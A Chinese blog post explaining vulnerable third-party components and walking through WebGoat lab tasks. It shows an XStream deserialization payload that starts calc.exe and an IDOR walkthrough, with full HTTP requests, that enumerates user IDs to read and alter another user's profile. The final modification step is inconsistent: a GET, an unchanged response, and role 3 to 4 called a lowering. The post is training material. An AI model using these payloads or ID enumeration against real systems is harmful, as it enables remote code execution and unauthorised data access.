易受攻击的组件
Vulnerable Components(易受攻击的组件)是指软件系统中的某些模块、库、依赖、或第三方组件,这些组件存在已知的安全漏洞,可能被攻击者利用从而影响整个系统的安全性。它们通常是外部库、框架、工具、操作系统组件、甚至是硬件驱动程序等,在软件开发过程中常常被引入以加快开发进度或者提供特定功能。
易受攻击的组件的来源
- 开源库和框架:很多软件项目都会依赖开源库和框架(如 Apache Struts, Spring, Log4j, OpenSSL等),这些库中可能存在已知的漏洞。
- 第三方服务和API:很多应用程序集成了外部的服务或API,它们可能存在未修复的安全漏洞。
- 操作系统组件和驱动程序:操作系统本身也可能包含易受攻击的组件,特别是未及时更新或没有正确配置的部分。
- 过时的软件版本:有些项目看依赖于过时的软件版本,这些版本可能没有及时修补已知的安全漏洞。
易受攻击组件的危害
- 数据泄露:
- 易受攻击的组件可能让攻击者获得对敏感数据的访问权限,包括数据库中的个人信息、账户密码、信用卡信息等。
- 远程代码执行(RCE):
- 通过利用漏洞,攻击者可能在受害者的服务器上执行任意代码,进而控制整个系统,盗取数据或进一步渗透网络。
- 拒绝服务攻击(DoS/DDoS):
- 攻击者通过漏洞使组件处于崩溃或资源消耗过高的状态,导致服务无法正常工作,影响用户的使用体验。
- 权限提升:
- 易受攻击的组件可能允许未经授权的用户提升其权限,从而获得系统管理员的访问权限,执行系统级操作。
- 漏洞链攻击:
- 攻击者可能结合多个漏洞,形成漏洞链,通过一个漏洞进入系统,再通过其他漏洞获得系统控制。
- 供应链攻击:
- 攻击者通过向第三方组件或库中注入恶意代码,从而在大规模应用中传播攻击,影响多个受害者。
常见的易受攻击组件
- Apache Struts:曾因其在Remote Code Execution(RCE)漏洞而广泛受到关注
- Log4j:Log4Shell漏洞暴露了Log4j库的严重漏洞,攻击者能够远程执行代码。
- OpenSSL:Heartbleed是OpenSSL中一个著名的漏洞,允许攻击者读取系统内存中的敏感数据。
- Java类库和框架:例如Spring框架中可能存在的一些未修复的漏洞。
修复易受攻击组件的方法
- 定期更新和修补:
- 软件包管理工具:使用诸如npm, pip, maven, composer等工具时,定期检查是否有可用的安全更新。
- 操作系统更新:保持操作系统及其相关组件的最新版本,及时修补漏洞。
- 自动化扫描工具:使用工具如OWASP Dependency-Check, Snyk, Retire.js等自动扫描项目中的易受攻击组件。
- 使用安全的版本:
- 定期审查并升级依赖的组件,避免使用存在已知漏洞的版本。如果无法升级,考虑禁用或替换有问题的功能。
- 优先选择活跃的、长期维护的组件,避免使用不再维护或过时的库。
- 最小化外部依赖:
- 限制第三方库的服务的使用范围,仅依赖于必要的组件。减少暴露面可以降低潜在的攻击面。
- 对于某些内部项目,可以考虑开发自己的解决方案而不是依赖于外部库。
- 漏洞管理和监控。
- 使用漏洞数据库(如CVE)来跟踪已知漏洞。使用工具(如Dependabot, WhiteSource等)自动检测和报告易受攻击的组件。
- 定期进行安全审计和渗透测试,检查潜在的依赖漏洞。
- 采用“最小特权”原则:
- 对外部组件的权限进行严格控制,只授权其最小需要的权限,减少潜在的滥用风险。
- 将应用程序的权限和资源访问限制在最低范围,防止攻击者通过组件漏洞获取过多的控制权限。
- 响应并修复:
- 一旦发现漏洞或组件问题,应该立即响应并修复、及时发布补丁或临时修复措施,减少系统暴露在攻击中的时间。
- 使用容器化与虚拟化:
- 将应用程序和服务容器化(例如,使用Docker等),限制单个组件对系统其他部分的影响。如果一个组件被攻破,攻击者的权限将被局限在容器内。
相关工具和平台
- OWASP Dependency-Check:用于扫描项目中的已知漏洞。
- Snyk:提供对开源依赖项和容器的安全监控和修复。
- Retire.js:用于检查JavaScript库中的已知漏洞。
- Dependabot:自动发现并修复GitHub项目中的依赖项漏洞。
- WhiteSource:提供开源组件的漏洞检测、监控和修复服务。
WebGoat-Vulnerable Components演示
任务1-页面5
这里表述的是漏洞可能不是来自你自己的代码,而是来自你使用的其他组件。
给出了一个例子。在jquery-ui这个组件的1.10.4版本中存在XSS漏洞,可以在输入框中利用<script>标签来执行代码,在1.12.0版本中得到修复。
任务2-页面12
主要介绍了一个Java中XStream依赖包的漏洞。
XStream简介
XStream是一个用于Java对象和XML之间的序列化与反序列化的库。它能够将Java对象转换为XML格式,也能将XML数据解析回Java对象。这使得它在需要处理XML数据的Java应用程序中广泛应用,尤其是当你需要以一种简便、灵活方式在Java和XML之间进行数据交换时。
漏洞编号CVE-2013-7285(XStream)
payload如下
<contact class='dynamic-proxy'>
<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>
<handler class='java.beans.EventHandler'>
<target class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</contact>
但是我这里没事执行成功,不知道为什么。报错信息如下
HTTP/1.1 500 Internal Server Error
Connection: keep-alive
Content-Type: application/json
Date: Sat, 13 Sep 2025 14:51:56 GMT
Content-Length: 13024
{
"timestamp" : "2025-09-13T14:51:56.501+00:00",
"status" : 500,
"error" : "Internal Server Error",
"trace" : "java.lang.NoClassDefFoundError: Could not initialize class com.thoughtworks.xstream.converters.collections.TreeMapConverter\r\n\tat com.thoughtworks.xstream.XStream.setupConverters(XStream.java:778)\r\n\tat com.thoughtworks.xstream.XStream.<init>(XStream.java:556)\r\n\tat com.thoughtworks.xstream.XStream.<init>(XStream.java:485)\r\n\tat com.thoughtworks.xstream.XStream.<init>(XStream.java:454)\r\n\tat com.thoughtworks.xstream.XStream.<init>(XStream.java:400)\r\n\tat com.thoughtworks.xstream.XStream.<init>(XStream.java:339)\r\n\tat org.owasp.webgoat.vulnerable_components.VulnerableComponentsLesson.completed(VulnerableComponentsLesson.java:42)\r\n\tat java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.java:103)\r\n\tat java.base/java.lang.reflect.Method.invoke(Method.java:580)\r\n\tat org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:197)\r\n\tat org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:141)\r\n\tat org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:106)\r\n\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:894)\r\n\tat org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)\r\n\tat org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)\r\n\tat org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1060)\r\n\tat org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:962)\r\n\tat org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006)\r\n\tat org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909)\r\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:517)\r\n\tat org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883)\r\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:584)\r\n\tat io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:327)\r\n\tat org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:115)\r\n\tat org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:81)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:119)\r\n\tat org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:126)\r\n\tat org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:81)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:105)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:149)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:63)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:218)\r\n\tat org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:212)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:103)\r\n\tat org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:89)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.header.HeaderWriterFilter.doHeadersAfter(HeaderWriterFilter.java:90)\r\n\tat org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal(HeaderWriterFilter.java:75)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:110)\r\n\tat org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:80)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal(WebAsyncManagerIntegrationFilter.java:55)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:336)\r\n\tat org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:211)\r\n\tat org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:183)\r\n\tat org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate(DelegatingFilterProxy.java:358)\r\n\tat org.springframework.web.filter.DelegatingFilterProxy.doFilter(DelegatingFilterProxy.java:271)\r\n\tat io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)\r\n\tat org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)\r\n\tat org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)\r\n\tat org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter.doFilterInternal(WebMvcMetricsFilter.java:93)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)\r\n\tat org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)\r\n\tat org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119)\r\n\tat io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61)\r\n\tat io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131)\r\n\tat io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84)\r\n\tat io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)\r\n\tat io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68)\r\n\tat io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)\r\n\tat io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68)\r\n\tat io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117)\r\n\tat io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)\r\n\tat io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)\r\n\tat io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)\r\n\tat io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)\r\n\tat io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)\r\n\tat io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)\r\n\tat io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)\r\n\tat io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)\r\n\tat io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52)\r\n\tat io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:269)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:78)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:133)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:130)\r\n\tat io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)\r\n\tat io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:249)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:78)\r\n\tat io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:99)\r\n\tat io.undertow.server.Connectors.executeRootHandler(Connectors.java:387)\r\n\tat io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:841)\r\n\tat org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35)\r\n\tat org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:2019)\r\n\tat org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1558)\r\n\tat org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1449)\r\n\tat java.base/java.lang.Thread.run(Thread.java:1570)\r\nCaused by: java.lang.ExceptionInInitializerError: Exception java.lang.reflect.InaccessibleObjectException: Unable to make field private final java.util.Comparator java.util.TreeMap.comparator accessible: module java.base does not \"opens java.util\" to unnamed module @3532ec19 [in thread \"XNIO-1 task-6\"]\r\n\tat java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:388)\r\n\tat java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:364)\r\n\tat java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:312)\r\n\tat java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:183)\r\n\tat java.base/java.lang.reflect.Field.setAccessible(Field.java:177)\r\n\tat com.thoughtworks.xstream.core.util.Fields.locate(Fields.java:39)\r\n\tat com.thoughtworks.xstream.converters.collections.TreeMapConverter.<clinit>(TreeMapConverter.java:50)\r\n\t... 110 more\r\n",
"message" : "",
"path" : "/WebGoat/VulnerableComponents/attack1"
}
这篇文章主要是跟着WebGoat介绍易受攻击的组件,不再详细研究该漏洞的原理。后面可能会详细单开一片文章来详细研究XStream所有已知漏洞的原理。
访问控制-WebGoat靶场演示
Insecure Direct Object References(不安全的直接对象引用)
任务1-页面2
首先进行身份验证,再进行滥用授权。
许多访问控制问题容易受到已认证但未授权用户的攻击。
要求:输入账户和密码后继续下一步。
任务2-页面3
要求:获取用户的额外信息。
点击View Profile,查看请求和响应。
请求如下
GET /WebGoat/IDOR/profile HTTP/1.1
Host: localhost:8080
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=_FioRM10pMXWXQGLmvwNmQbTmMNjrCBroklE2qfu
Connection: keep-alive
响应如下
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sat, 13 Sep 2025 15:46:38 GMT
Content-Length: 110
{
"role" : 3,
"color" : "yellow",
"size" : "small",
"name" : "Tom Cat",
"userId" : "2342384"
}
可以发现,响应结果除了前端显示的name,color以及size,还有role和userId这两个属性。暴露的额外信息,会导致增加未授权行为的风险。
任务3-页面4
要求:猜测查询用户信息的备用路由,提示是跟之前查询个人资料的路由十分相似,只有一个区别。
后面添加用户ID即可:WebGoat/IDOR/profile/2342384。
任务4-页面5
要求:查找Buffalo Bill的个人资料,并将其信息进行修改。
根据自己的用户ID,枚举获取其他用户的信息
// 请求
GET /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: localhost:8080
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=_FioRM10pMXWXQGLmvwNmQbTmMNjrCBroklE2qfu
Connection: keep-alive
// 响应
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sat, 13 Sep 2025 16:33:51 GMT
Content-Length: 251
{
"lessonCompleted" : true,
"feedback" : "Well done, you found someone else's profile",
"output" : "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}",
"assignment" : "IDORViewOtherProfile",
"attemptWasMade" : true
}
按要求修改color为红色,降低权限(减少role的数值),更改Content-Type为application/json;
//请求
GET /WebGoat/IDOR/profile/2342388 HTTP/1.1
Host: localhost:8080
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
Accept-Language: zh-CN
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=_FioRM10pMXWXQGLmvwNmQbTmMNjrCBroklE2qfu
Connection: keep-alive
Content-Length: 106
{
"role":4,
"color":"red",
"size":"large",
"name":"Buffalo Bill",
"userId":"2342388"
}
//响应
HTTP/1.1 200 OK
Connection: keep-alive
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sat, 13 Sep 2025 16:40:59 GMT
Content-Length: 251
{
"lessonCompleted" : true,
"feedback" : "Well done, you found someone else's profile",
"output" : "{role=3, color=brown, size=large, name=Buffalo Bill, userId=2342388}",
"assignment" : "IDORViewOtherProfile",
"attemptWasMade" : true
}
任务完成。